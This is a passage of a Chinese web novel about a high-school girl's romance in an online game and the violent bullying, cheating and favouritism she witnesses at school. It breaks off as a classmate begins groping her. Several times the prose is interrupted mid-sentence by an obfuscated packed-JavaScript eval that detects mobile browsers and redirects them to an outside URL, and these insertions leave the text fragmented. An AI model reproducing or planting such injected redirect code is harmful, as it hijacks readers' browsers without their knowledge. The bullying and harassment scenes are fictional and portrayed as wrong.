“对不起,我以为我攻略做充分了。” “不是你的问题阿渝,是我手速太慢。” “我再研究研究。” “不用,高考完有的时间刷副本。联考刚过的放松就点到为止啦,我先下了要去上课。你也是,好好学啊。” “好。” 他俩好像还挺熟。韩思抬头扫了眼,这才反应过来,能不熟嘛,这俩人头顶上分明挂着情缘的标识。 那女生一走,其他两个流泪猫猫头就猛戳他:“喂!人家走了诶!!!” 那个被叫阿渝的男生点点头:“我看到了啊。” “你就这么让她走了?” “榆木脑袋啊!!” 阿渝认真解释:“她下午六点有课再不下就来不及了,当然得下线。我也要去做题了,不好意思不能陪你们了。” “气死我啦,你到底喜不喜欢她啊!” 阿渝慌慌张张:“喂,这件事情说好了保密的啊,你别这么大声。” “你们不是就住隔壁吗,你们不是青梅竹马吗,你不能约她出来做题吗!” “而且这游戏最近不还出了线下投影功能吗?就算不能陪她上兴趣班,你也可以把自己投影到她身边陪她做题啊!” “要不是为了几杯奶茶,我们俩怎么就这么辛苦。” “多接触!多接触才能制造可能!” “莨姐的房间怎么样我都没见过呢!你小子小时候去过那么多次是不是已经不感兴趣了?下次趁着新推出的功能这个由头试试!你不去我去!” “谢谢你们。”阿渝忽然出声打断,他摇了摇头道:“但有个情缘小标志我已经很知足了,这段日子里还是让她先全心学习吧,以后的事情以后再说。” 男生的话语温吞,身边的两位助攻姐妹捶胸顿足。 “喜欢一个人连说都不敢说出口吗?你这有喜欢的样子吗?也就莨姐不排斥你了愿意天天和你待一块放学。” “你这样不争不抢,莨姐被人捷足先登了后悔了都来不及。” 阿渝思量片刻,“如果她喜欢那个人的话,我应该会祝福吧。” 两个流泪猫猫头变无语猫猫头,猫猫头抱猫猫头痛哭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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幸好大部分人都去八卦这批首刷的玩家皮下究竟是谁,毕竟那些人身上的装扮个个亮眼夺目得很,但仍有不少人的目光都关注到这里,包括那两位猫猫头。 “诶我就说我没看错吧。” “女孩子是新手所以进不了副本,所以在外面等吧。” 韩思摇头道:“也不算特地来找,只是有点好奇你在做什么。” 零零零走近了几步,和那群人打了个招呼分手再见后,转过身来悠然自得道:“一般也没什么事,这次听说副本好像很难所以来看看,感觉也还行啊。” 空气中有淡淡的装逼感。 韩思神经粗没觉察到,她若有所思,得出结论:“陪玩?” 空气凝固。 零零零好像呛了下,答道:“呃,也算是。” “那些人很有钱吧,你别得罪了,做富姐富哥的陪玩也能赚很多钱呢。” 看韩思还挺一本正经的,零零零眨眨眼咧嘴笑道:“哪能得罪金主,我麻溜着呢。” 韩思不太喜欢在这么人的注视下,感觉如坐针毡,便道:“那不耽误你继续赚钱,我先走了,这里人好多。” 按下传送的下一秒瞬间空气清新,周遭一圈圈的人消失无影无踪,只有三三两两的小情侣在老远的地方你侬我侬。 百花谷的花香淡淡萦绕,还有鸟雀偶尔啼鸣。 懒腰刚舒展,就被张突然闯入的帅脸打断,虽说他经常这样出现,但还是心里一突。 正惊讶他为什么追过来,却见少年难得正色,说的话让韩思心头瞬间冰凉。 “我追过来是有件事得和你讲一下,上次那擂台赛结束后,就没可以让我拿到好评的新手任务了。” 14. 朋友 仅一句话就被拉回现实,韩思点点头。还挺好,远离能让刚萌发的情絮慢慢消退,扼杀于摇篮,就是没想到来得这么快。 不过反正在游戏里,偶尔还能见到,丢脸丢过一次就不要丢第二次了,她拿着一沓试卷招招手:“恭喜你哦,我做题了。” 零零零讶然,顺势抓走她手上的试卷,俯身:“嗯?你上次不还舍不得我来着吗?” 被瞪了一眼的少年恬不知耻,他俯身凑近,微烫的呼吸落在鼻尖:“你上次下线那么快是为什么?我还怪担心的。” 琥珀色的瞳孔里盛满关切,无辜得就好像单纯只是因为关心朋友而问。 近距离下绒毛毕现,第一次发现原来他眼角有一点特别小但特别深黑的泪痣。 上次下线前接触过的地方开始发烫。 韩思攥紧自己的掌心,率先错开视线,她扯起原本就准备好的谎,语气波澜不惊:“家里有事,不过没什么大事,和你没什么关系。” 解释完抬眼,总感觉少年的眸含似笑非笑。虽然明知零零零应该只是单纯的关心,但她瞬间后悔了,这解释还不如不说,颇有画蛇添足的意思。 “试卷给我。”韩思伸手想拿回去试卷,却不想零零零身长手也长,举过头顶后愣是高出一截,原地小跳两下连边角都没碰到。 遂知难而退,微微蹙眉看着他:“你想干嘛?看我打不了差评了就欺负我了?” 零零零撇撇嘴,却还是没有把试卷放下,他站在树下,连阳光都懒洋洋地倾洒。 他问道:“汉斯小姐不需要我教你做题了?” “……”韩思突然有点搞不懂零零零脑子里究竟在想什么,虽然她其实一直都没怎么搞懂过,“你不是要去做陪玩吗?” 零零零答得飞快:“陪玩结束了啊,副本首刷,帅不帅。” 韩思深吸口气干脆说明白:“做题这种事我也不好意思再麻烦你了,我能自己做的,莫非除了新手任务你还有什么所求?” 一边学着零零零的腔调用调侃的语气问出口,又一边捂住胸口,如同朋友间普通的玩笑。就好像其实她没那么在意,所以她也开得起玩笑。 零零零饶有兴致地打量了两眼,接着猛然伸手。 ——挠了下她的腰窝。 痒得韩思陡然矮下身护住腰窝,痛斥:“靠!神经啊!” 少年的嗓音悠悠从上方传来。 “目前是没什么新手任务了,又不是以后都没有了,我还得求你好评的,笨啊。” 他好像想通了什么,叹口气摇摇头,把书本又放回在自己眼前,虽然仍没递给韩思。少年修长的手指轻轻翻过试卷册,一张又一张写得密密麻麻端端正正的答题纸。 指尖在一处停下。 他莞尔:“能自己做的,但这道题又错了呢?上两次错的也是同样的地方,人至少不能踏入同一条河流三次吧。” “我怎么感觉。”韩思扶着腰窝站起身,谨防他搞偷袭,忍住了看自己错题的诱惑,盯着零零零的脸没动,“你是不是知道我不会差评,好像更得寸进尺了。” 她究竟是为什么会看上这样一个不着调的人。 零零零无辜地转头,薄唇微勾:“真的无论怎样都不会差评?” “……”在脸皮上无法和厚如城墙的人比较,韩思抢过自己的试卷,纸张在手上哗啦哗啦地翻过,“我这次又是哪一题错了。” 零零零的手探过来,慢悠悠翻回先前那页:“这一面上我扫了眼就看到两道,你做这套试卷的时候心不在焉啊,在想什么。” 说者无心听者有意,韩思下意识在心里接了句在想你,又猛然回神后耳垂有点烫,愣是扫了三遍题干都没看进去。 做题做题做题! 反复在脑海里提醒自己集中精神,这才勉强读完题干,在一旁圈圈划划开始重做一遍。 又是头疼的数学公式,只是今时不同往日,上次眼里还能只有题目,这次却莫名无法集中精力,心不在焉的后果就是算出了个显而易见的荒唐答案,她自己都觉得难以落笔,又新开一张空白草稿纸继续埋头苦算。 零零零在旁等了又等,感觉时间也太漫长了点,就凑过去瞟一眼。 少年惊奇的嗓音冷不丁从耳边响起:“诶呀?这种和乱码一样的答案你也能算出来?” 韩思吓得一抖,下意识后退半步。 零零零狐疑:“你怎么反应这么大?你今天不会真有什么情况吧?” 韩思视线匆忙落回试卷,握紧笔杆涂抹掉荒唐的答案,黑笔涂了一圈又一圈,答道:“是你太吓人了,别打断我思路。” 零零零毫不留情面:“你有什么思路好打断的,连负数抄着抄着都能忘记。” 涂抹答案的手微顿,接着赫然一个中指跃然纸上,想指责控诉又无法明说,只能化憋屈在笔下。 又算了一遍后把草稿递给零零零,心想着这次答案应该没错了,却见他捏着纸眉头微皱,“怎么感觉你今天状态不在学习上,奇了怪了,是昨晚没睡好吗?要不要去散散心?” “不去,昨天游戏玩太晚还有好多套试卷没做。”韩思当即拒绝,又道,“反正最近也没任务了,你忙你的去吧,我搞不懂的题目等你空下来再一起来问你。” 恐怕只有他离开视线范围,心才能定下来好好做题。 零零零回答也干脆:“你不去我也不去。” 他从韩思的手里抽走黑笔,圈圈画画后又把草稿和笔一起塞回她手里。 接着又灵活手撑地面,一屁股就在旁边的草地坐下,手掌抚过地面,愣是抓了把野草拔起来,又抽了几根完整的出来交叠在一块,聚精会神的模样,像是在编织些什么。 韩思盯着他,盯得他有点发毛。 零零零注意到这炙热的视线,又看了眼手中的草,一个愣神竟被大风吹散,他带着点惋惜抗议:“喂,游戏里就不用保护绿化了吧,我就拔了点野草而已。” “我在想一个问题。”她手里抓着草稿纸的边边,稍许有些用力的拉扯,纸张泛起细小的褶皱。 余光瞥见远处的小情侣刚还甜蜜蜜现在却大吵特吵,从争执到打架,技能你来我往,两个人在百花谷里硬生生锄秃了一大块花地。 “嗯?”零零零还在拨弄地上的草,鼻腔发出轻声。 韩思的目光没看他,在看那边的小情侣打架。 她拖着腮问道:“你要是喜欢一个人,会怎样表现呢?” 是像那个阿渝一样偷摸藏在心里不敢明说,还是像潘邢那样大剌剌地并不在意女朋友的存在,还是像潘邢女朋友那样,在一起当天就大张旗鼓,结果被请去校长室写了三千字检讨。 好奇归好奇,只是凭着一腔热血问完就有点后悔,没听到回答只有短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564462|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂沉默后更后悔了。 韩思主动用吐槽打破尴尬:“你都要把这一块草拔秃了。” “我的话。”零零零却忽然回答了,他笑意盈盈,“绝对会让所有人都知道我喜欢她,我还要把每一个情敌都做掉,我讨厌有人和我争抢,一丝目光被分走都不行。” 一句‘让所有人都知道’简简单单就戳破了粉饰太平的泡泡。 韩思调侃:“那种小区里的狗不知道都算通知不到位?” “bingo。”他眉眼弯弯,明亮的琥珀色瞳孔里好像闪烁着对未来的无限憧憬。 韩思垂眸落在试卷上。 心定下来好好做题除了支开他外,还有个更好的办法,就是往心里捅一刀,把悸动杀成重伤,这下总算彻底消停会儿了。 草稿纸上,接二连三算错的地方突然变得一目了然起来。 “那你呢?” 零零零好奇的目光看过来。 韩思紧紧绷住面部表情,刚好答题纸下面压着张英语试卷,密密麻麻英文单词组成的阅读篇章里有个短语带着中文解释的括号,显得格外突出。 ——DIEFORLOVE 韩思索性说道:“和喜欢的人一起殉情。” 一句明摆着的糊弄话。 本来以为凭零零零的脾气,多半要一惊一乍地说真吓人,你不会学抑郁了吧这类的话。 他手里拿着把几根挑出来的小草,指尖压出压痕,捻着折叠,又将草与草之间重叠编织,听见韩思的回答后,嗯了声,又补上句:“还挺浪漫。” 是怎样的脑回路才会把殉情和浪漫结合在一起?他多半根本就没在听。 “不浪漫,我瞎说的。” 回完这句,一时无话。 心总算安静下来,笔尖落在试卷上,百花谷安静的氛围,萦绕淡淡的舒缓花香,是真合适做题。 小长假过得飞快。 国庆七天说起来长,但对高三生而言是争分夺秒的,哪里能真给他们放满七天。 就算七中成绩是垫底的,也在第五天重新开放校门,对外宣称是自习课爱来不爱,但只要对高考有点想法的,不管是家长的想法还是孩子的想法,基本都来了。 四天的放假里韩思几乎除了睡觉吃饭发呆外都是泡在游戏里,大概也摸清了零零零的一日生活,他有时候做陪玩下副本,有时候和百花谷npc唠唠嗑,生活非常之简单,好像也是位休闲类玩家,对打装备升技能什么的不太感兴趣。 自从筱花后这游戏又推出了几个搭载人工智能的npc,无一例外都超级像人,无论是思维还是行动,要不是官方在她们头顶上写明了npc标志,只怕都不知道混进了非人的存在。 这四天里最不可思议的发现是零零零竟然也有下线的时候,他原来不是每时每刻都泡在游戏上的。韩思第一次看到他下线时发出了震惊感慨的声音。 零零零:“……我当然会下线啊你以为我是什么?24小时无休全天待命吗?” 韩思点点头。 零零零带着流汗无语黄豆下线了。 也许是零零零太张扬随性了,无论是拧巴还是悸动,面对他时这类的情绪来得快消退也快,尤其是上次刚旁敲侧击再次确认完他的真心话后,只要不去多想,韩思照旧能很快投入到做题上去。 她们好像又恢复了朋友的关系。 15. 鞋印 虽说一想到开学后要见到潘邢他们就头疼,但该来的怎么也逃不过,比较幸运的是返校的那天上午潘邢座位上没人,韩思舒了口气。 下午体育课前,班主任忽然喊她去办公室一趟。 刚刚入秋,老头的保温杯里就已经泡上了枸杞红枣,泛黄的水面散发出陈旧的味道。 “老师,我来了。” “韩思啊。” 这略带叹息的三个字让韩思心觉不妙,但她又不能跑,只能垂着头听凭发落。 只见老头紧皱眉头的脸从一沓试卷里抬起,拿起放在一旁的黑色细框老花镜戴上,坐着的转椅转了小半圈,正好在少女的膝盖前停下,又抽出放在手边最上层的纸。 韩思粗略扫了眼,上头写满了学号姓名和成绩排名。 老头捏着眼镜腿拿近看几眼,又放在办公桌桌面上,从下到上打量面前的少女,最终目光在她的脸上停下。 班主任已经是个年过半百的中年人了,眼皮有些松垮略显老态,瞳仁浑浊,但毕竟是三尺讲台奋斗一生,说话仍旧中气十足:“联考成绩出来了,你的成绩很不理想。” “你一开始说要考的S市,照这个成绩来看,是断然考不上的。” 班主任找她谈话的内容韩思在来的路上就已经猜到七七八八了,果然也不出所料。 所以她说出已经打好腹稿的台词:“对不起老师,我下次会更努力一点的,这次的考试考完我复盘过了,因为粗心失误丢了很多不该丢的分。” “你给我保证有什么用,你是要为你自己学的。”班主任拿起角落里的保温杯,押了口茶。 “嗯。”也没什么其他可以说的,翻来覆去也就那几句可以说,韩思又道了个歉,“对不起老师。” “你看看人家,这次成绩提升了多少。” 班主任随手指的那个人名是潘邢的一个小弟,虽然总分仍距离韩思有超长一截的距离,但比起上个学期末的语数外三科加在一起都不过一百五而言,这次联考外语罕见地上了九十简直是火箭般的飞跃。 可惜是抄来的。 韩思心中升起些不屑。 “你看就连潘邢,成绩都比之前好上不少了,有的男生,后劲很足。”老头的手又指过几个名字,边上都打了星号,都是这次联考上发挥不错的几个。 他手里拿着保温杯,语气加重:“韩思啊,高三正是紧要关头,你要是松懈下来很容易就会被赶超的,这次联考的发挥太让老师失望了。” 想举报潘邢作弊的念头在喉咙口翻涌了下,又强迫咽下去,她依旧低头翻来覆去说着那句:“……对不起老师。” “学习这件事上,你自己要有分寸。”老头招了招手,示意她离开,“回去上课吧。” 夹杂在夏秋两季的天气多变,上午还是个大晴天,中午不过是半节体育课的功夫,乌云密布在天空上,初是淅淅沥沥的小雨打落在窗台上,雨水溅到走廊里,到处都是脏脏的鞋印子。 潘邢从外头回来,背包甩在座位上,咚一声沉闷。 也仿佛砸在韩思的心上,猛然一跳。她埋下头,笔尖停留在纸面上方一点的距离,装作聚精会神地写作业模样,尽管事实上她已经毫无心思看题。 体育课刚结束,下节课又是自习,自习完就是吃饭,没有老师愿意来这个班,大概也就临近下课的时候会过来徘徊几下,因此教室里只有三三两两先上来的学生,潘邢进来后顷刻安静,空气里仿佛酝酿着无形风暴。 他走到后排,在一处整洁干净的桌面旁边停下,抬脚就踹翻了桌子,铁质落地的声音轰隆炸响,满桌肚的试卷飘落一地。 座位的主人刚接完水回来,就被自己的书本试卷猛然砸了一脸,高三的书又厚又硬板,他捂着头又捂着鼻子,但人只有两只手,再手忙脚乱也无法阻止大量鼻血透过指缝喷涌而出。 是那个被班级里的人戏称为娘娘腔的男生,除了老师外,大家都叫他娘娘腔,本名好像也不重要了,一时间韩思也想不起来他叫什么。 似乎被砸傻了,娘娘腔就这样呆立在门口。 潘邢随手又抓起那男生的笔袋就砸过去,话语间蕴含怒气和嗤笑:“胆子倒是肥敢告状,那你倒是找个人替你出头。” 笔袋砸中胸口,疼痛使那人不得不蜷缩着身子减少被打的面积。 笔袋里的各种笔唰啦洒落一地,连笔帽也一起摔开,躺在地板上,这么大的力道,大概都摔坏了出不了墨水了。 片刻的寂静里,没有人上前制止这场行为,无声的沉默蔓延。 片刻后那几个潘邢的小弟率先鼓掌附和:“潘总帅啊!是该给他点教训。” “嘴巴就是贱得慌,和八婆的女人一样,我也觉得他干脆剁了做女人得了,个死娘娘腔。” 韩思抿紧嘴唇,手中的笔攥得很紧。 这一刻是那个男孩子,下一个轮到的,会不会就是她。 根本生不起出手相助的念头,她自身都难保。 潘邢忽然大步上前,又踩了那男孩身上一脚,用力一踢,带着泥印的脚印落在灰蓝色的校服外套上。 登时男孩后退了几步,跌坐在另一个男生的桌子上,那男生飞快起身,故作嫌弃地捏着鼻子道:“被死娘娘腔弄脏了,晦气死了!” 旁边的人挤眉弄眼:“诶哟你要完蛋了,要被传染成娘娘腔咯。” 潘邢又向那娘娘腔身上踢了好几脚,有好几下分明朝着人脑袋踩,恶意昭然:“你看我又在欺负你了,你去告状啊,你胆子肥你继续去告状啊。” 他慌里慌张地抬起手保护自己的脑袋,鼻血流了一整张脸,又佝偻着身子,声音细弱,一遍又一遍地重复:“傻x贱x就仗着有钱,你迟早会有报应,你爸妈迟早会破产,到时候没人能罩着你……” 闻言潘邢踹得更狠了,鞋子和肋骨相撞,砰砰作响。 不会闹出人命吧。 冷汗从掌心渗出,韩思偷偷看了眼人群。 这时候沉默的大多数表情也都不自然地僵硬着,接着又怪异地同时掀起笑容,不知谁叫了声好,其他人也跟随鼓掌喝彩,生怕自己落后。 割裂感。 就好像不在一个世界里,隔着玻璃在看狂欢。 那个一直坐在边上默不作声的女孩忽然从座位上站起来,她竟猛地推开了潘邢。 她的声音稚嫩却掷地有声,在教室里格格不入: “不管你们几个再有钱,他要是被打死了,你们统统!全都! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564463|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃不掉法律的制裁!” 那女孩子体格大,力量也大,潘邢猝不及防下还真被她推开了。 潘邢站稳身形,冷笑道:“死肥猪。” 话音刚落,溅起阴阳怪气的起哄声一片:“哎哟哎哟罕见啊,坦克来咯,坦克在帮娘娘腔呢。” “大肥猪这一帮,以后结婚有着落咯。” “不再是没人要的重型装甲车啰。” 这个女生韩思也有点印象,是班里最胖的女孩子,听说她爸爸妈妈很喜欢她,天天带她吃香喝辣,就成了微胖的体型。 她成绩中游,经常追着班级中心的几个女生跑,力气大所以就理所当然地充当提包扔垃圾打扫卫生请客吃饭的角色,那几个女生也乐得享受。 出入都在一块的模样,好像是朋友。 但那几个‘朋友’此刻也在嘻嘻笑,跟着男生一起起哄,又想起了什么似的,从桌肚里翻出了几块包装精致的饼干,扔在这混乱的场面最中心:“诶哟你早说你今天给我们吃的饼干是你们结婚的喜糖呀。” “猪头肉和娘娘腔结婚的喜糖,我可不敢吃。” “你们女生胆子真大,不怕被传染猪瘟啊。” 几个小弟也很识眼色,一个去走廊里放风,三个噌一下从座位里起身。 他们跃跃欲试,摩拳擦掌:“潘总打不动了,肥猪盾厚,我们来帮潘总打。” 男孩子的身形在高三已经非常接近成年人了,又是精力最旺盛的阶段,韩思以前从未觉得过,因为之前的省重不会出现打人这种事,更不要说男生打女生。 彭。 原来拳头砸在软绵绵的肚子上,也会发出声音的。 “行了。”潘邢满意地扫了两眼,从裤子兜里摸出根烟,叼在嘴里,“打她意思意思得了,别落下证据,她爸妈是两头难缠的猪,难怪把她也养成肥猪。” 他又摸出打火机,是最新款的zippo,幽蓝若鬼火的火苗燃起,“李明x你不用站在门口放风,这节自习课没人会来,都开会去了,老东西在办公室和我爹聊天。” 不知谁推了把女孩,女孩子被推向桌角边上,尖角戳到后背,还挺痛,她瞬间红了眼眶。 不过无人在意,听见潘邢一说自习课没人来,那群男生就躁动不安,兴奋地提出建议: “那潘总打球去不?正好底下篮球还没收。” “走哇,潘总你早说那老东西不上来,早知道我也不上来了,还是您消息灵通。” “打完球吃饭,走!” 左一句右一句,伴随他们几个的嬉闹鱼贯走出教室后门,方才的轰轰烈烈转瞬冷冷清清,还留在教室里的人纷纷回归到之前在做的事情上,做题的做题,剪指甲的剪指甲,聊天八卦的聊天八卦。 就像是一场无关痛痒的闹剧,除了慢慢爬起身的一胖一瘦两个学生,像两俱提线木偶,眼神空洞地回到了座位。 吸鼻子的声音很轻,在咔咔剪指甲的声音、聊天八卦的声音、唰唰做题的声音、还有外头打球体育课喝彩的声音里淹没。 那个女孩子趴在桌子上,好像在哭。 这件事的收场如此平凡,没有留下痕迹。 空气里的氧气稀薄,窒息溺亡成了倒计时。 16. 评优 临近放学的最后一节课是自习。 虽说今天一天潘邢他们都没找她的事,但谁知道他什么时候会发病刁难人,韩思只想着尽快离开这个乌烟瘴气的地方,迅速整理好了书包。 班主任踩着上课铃进教室,手里抱着厚厚一叠约莫是联考的考卷,胳肢窝里还夹着几张纸和保温杯。 他把考卷放在讲台上,吩咐课代表发下去。 又趁间隙,清了清嗓子说道:“你们这次考试成绩挺出乎我的意料,班级平均分涨了不少,所以今天不耽误你们放学,但有件事得过掉,这次评优评奖学金,名单是这些人,你来写黑板上。” 是每个学期都例行的评选班会,之前在省重的时候,老师会按照成绩从上到下依次排列出十个名额,再撇去违反校纪校规的,最后通过匿名投票的方式决出前三名。 就算她这次发挥再怎么失常,也是稳坐班级前三。 因此无论如何,这十个人名里定会有她的一席之地。尽管后续多半会被其他人投票投出去,因为她在这个班级里的人缘并不好,何况还得罪了潘邢他们。 然而直到最后一个人名的笔画被写上去,粉笔放回粉笔纸盒里。 韩思抬头视线扫过,这十个并列的人名里,没有一个是她的名字。 但潘邢和他某个小弟的大名却赫然在列。 站在一旁的老头手拿着保温杯,顺应流程解释了几句:“前几个女生不用说了,班上成绩一直都挺好的,但我这次想想我们班男生都没评上过,潘邢和李明x这次联考成绩提升不错,老师也看到了他们改正自我的决心,想给他们一次机会。” 凭什么。 韩思甚至都没怎么听进去班主任后面说的话。 她甚至现在都可以接受名单上没有自己了,但她无法接受那种人因作弊得来的进步备受夸赞,仅仅是名字挂在黑板上,就好像在叫嚣在玷污其他人的努力。 不公,屈辱,憋闷。 她看向潘邢,也有很多的目光都在朝那个方向看去,或惊讶、或疑惑、或羡慕。 潘邢好像毫不意外,他笑嘻嘻地张了张嘴,唇形依稀可以看出他在说:投我,不然揍你。 举报他作弊,能不能让他闭上那张恶心咧嘴笑的嘴巴。 但又害怕遭受到那样的对待,被孤立被殴打被辱骂,上课的时候还能看到那个微胖的女孩子捂着肚子趴在桌子上,好像被踢得很疼。 韩思沉默着,纠结着。因害怕惹事想做个旁观者,又因愤怒不甘迫切的想站出来大声斥责, 但无论是哪种选择,她都不想承担后果。 两种情绪缠绕下的心脏砰砰跳。 好想逃避,最好一睁眼就已经离开了这场无止境的噩梦。 她放下笔杆,歪头看向窗外的那颗大树,玻璃窗搭扣紧锁,窗外的风看上去清新自由,树冠上的叶片摇曳,却吹不进这密不透风的牢笼。 余光看见那个被叫娘娘腔的男生举起了手,见没有人理睬,便直接站起来了,一语惊人。 “老师,我看到潘邢联考作弊。” 潘邢的笑容凝固在脸上,登时从座位上站起,脱口而出:“放你他*的屁。” “都稍安勿躁,不要说脏话。”老头的保温杯敲了敲讲台,暂时镇住了躁动,“云舒你看到的是哪门课?我们有监考老师巡逻,但这段时间监控坏了还没修,所以也可能漏看了,你详细说说。” “数学。” 那人刚说两个字,潘邢抢先回答,“老师他故意泼脏水给我,他一直看不惯我,不想给我这机会。” 他扫视全班,那双眼睛又细又眯起:“还有证据呢?我要是真作弊了,全班也不能就你一个人看见了!况且你考试时还坐在我前面,你眼睛又不是朝后面长,怎么看得到我?” “我捡尺子的时候正好回头,看他好像抢走了韩思桌上的卷子。” 潘邢冷笑:“好像?‘好像’就觉得我作弊了?还说我抢人卷子?我抢你卷子了韩思?” 潘邢的眼睛是典型的下三白叠加倒三角,看上去就凶恶,此刻瞪过来盯着韩思,就像潜伏在黑夜里虎视眈眈的恶蟒。 甚至都不需要多想,点头的后果就在不久前上演过,韩思的校服还很新,深蓝和洁白组成的校服外套上干干净净,连水笔印子都没有。 她从来没有打过架,也不会打架,只会抱着头单方面挨揍。 韩思清楚看到有人的目光渐渐转为失望,愧疚使她低下头。 “你积极举报不公行为是值得夸赞的,但潘邢也说得对,单一个‘好像’也无法定他真的抄袭,云舒啊,老师也知道你不喜欢潘邢。”站在讲台上的老头好像也很为难,“可是这毕竟是关系到人家拿评优的大事。” 僵持不下里,班主任先摆了摆手做出决定:“还是先投票吧,不耽误大家放学,我过会儿去问问当时监考你们班的申老师。” 潘邢满意地坐回座位上。 那个男孩子还梗着脑袋站着,身上的校服脏脏的,还留着上午擦不干净的鞋印子。 班主任这么一说,韩思倒想起来那个娘娘腔的真名叫从云舒,有点女气,是个很好听的名字。潘邢因为他瘦小就欺负他,他也不甘示弱逮着机会就告潘邢的状,因此也常常被潘邢课下找角落里打,扔试卷踩书包推搡都是家常便饭。 窗外的树叶簌簌,有大风在刮,大片大片黑压压的乌云从远方推过来,似乎要从小雨变成大雨了。 如果是零零零的话,他好像从来不惧怕,张扬肆意从心而动,不在乎后果。 好像一想到他就会胆子大一点。 下发纸条,匿名投票,收回台上,唱票。 趁唱票的空档,班主任走到从云舒的边上,手拍他肩膀安抚了几句,还是让他坐回座位上。不过他不肯写投票的纸,老头也没逼他,交了张白纸给班长。 其他人都忙着下课放学,于是一整套流程非常快,整个班级都以潘邢为中心,意料之外又意料之中,潘邢的得票数在第三,仅以三票超越第四名。 结果出来的后一秒,正好放学铃打响,没有晚自习走读的几个学生整理好书包,还有要赶在第一批吃食堂晚饭的,好几道身影瞬间冲出教室。 班主任还在计票暂时没走。 韩思在经过从云舒的座位边上时,小声说了句:“对不起。” 这是韩思第一次近距离接触从云舒,他的手臂上有很多青紫色的抓痕,身上的校服脏脏的,洗得有点发灰褪色。 他抬起头,问道:“你为什么不举报他,因为害怕被打?所以就让他为非作歹吗?他配得到这个奖吗?明明应该是你的名额吧?这不公平,根本不公平,你为什么不反抗。” 从云舒的声音细细的,大双眼皮放在男孩子脸上,再怎么生气都显得毫无攻击性,他又说:“算了,你也没错。” 字字珠玑,每个问题都狠狠敲在心上。 韩思几乎是落荒而逃,狼狈地说了好几句对不起。 刚走过讲台,班主任正巧也刚整理好那些圈划名字的票子,他率先一步走在前头离开了教室。 韩思跟在后头,在他进办公室前还是忍不住开口叫住了:“老师,这次评优的名额我觉得不该给潘邢。” “嗯?韩思?”老头的步子停下,“我正也想和你说,不要因为老师把评优的名额给了别人而怨恨在心,我也是为了你考量,就像我上午和你说的那样,你这次成绩下滑太多了。” 回想起上午被叫去办公室,韩思恍然明悟,原来他早就埋下了事先的伏笔,用旁敲侧击的贬低暗示这次的评优她不配得到。 只是他也可能没想到潘邢的成绩还真是抄来的吧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564464|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >韩思还想装作没听出来,硬着头皮继续往下说:“但老师,潘邢这次的考试……” 老头打断了她的话,神情似乎有些不耐烦,细密的皱纹在眼角叠起:“韩思,我本来都想因为你成绩下滑的事情找你家长谈谈,你现在最该关心的是自己的成绩,我们班上有些人确实人品不大好,你该做的是远离,而不是惹祸上身。” 像开了话匣子,一脸正色:“今天上课看你也不在状态,老走神,我在想是不是真的有必要找你家长谈谈了,你妈妈也和我哭诉过,你要明白你读书不仅仅是为了你自己,对你们家来说都很重要,她养你不容易。” 韩思彻底闭上了嘴。 好不容易积攒勇气打算揭发潘邢,瞬间烟消云散。她低下头,双手交叠放在身前,十指之间绞得很紧,指甲卡进肉里,疼痛能短暂压抑心中的失望和难受。 她说:“不要找我家长,求求您了。” 其实这个年过半百的中年男人早早就做好决定,从开学的那一刻起,她和潘邢之间的话语权就是不对等的,自然也不会因为跳梁小丑的三言两语简单更改。 她算是彻底听懂了班主任每句话里的言下之意。 走回几步走回楼道里,膝盖上的伤口还在痛,韩思扶着扶手,慢慢从五楼下去,背后忽然传来一阵哄笑。 肩头被故意一推,踉跄了几下,幸好抓着扶手不至于再次摔倒。 “不要挡路知道不知道?你没长眼睛啊?” 又是潘邢的声音。 “是哪条挡路狗?” 还有其他男声,闹哄哄的,又臭臭的。 其实过道挺宽敞的,走三个人都不妨事。 一圈男生围着靠近,韩思退后几步想让开条道。 忽然脖子一热,一个隔壁班不太熟的男生笑嘻嘻地突然伸手,摸上女孩的脖颈:“你就是和潘总女朋友公然叫板的女生啊,还挺厉害,现在怎么这副柔柔弱弱的样子。” 他又不怀好意地摸索进校服领口,向下探去:“长得一般身材倒挺好的,勾人啊。” 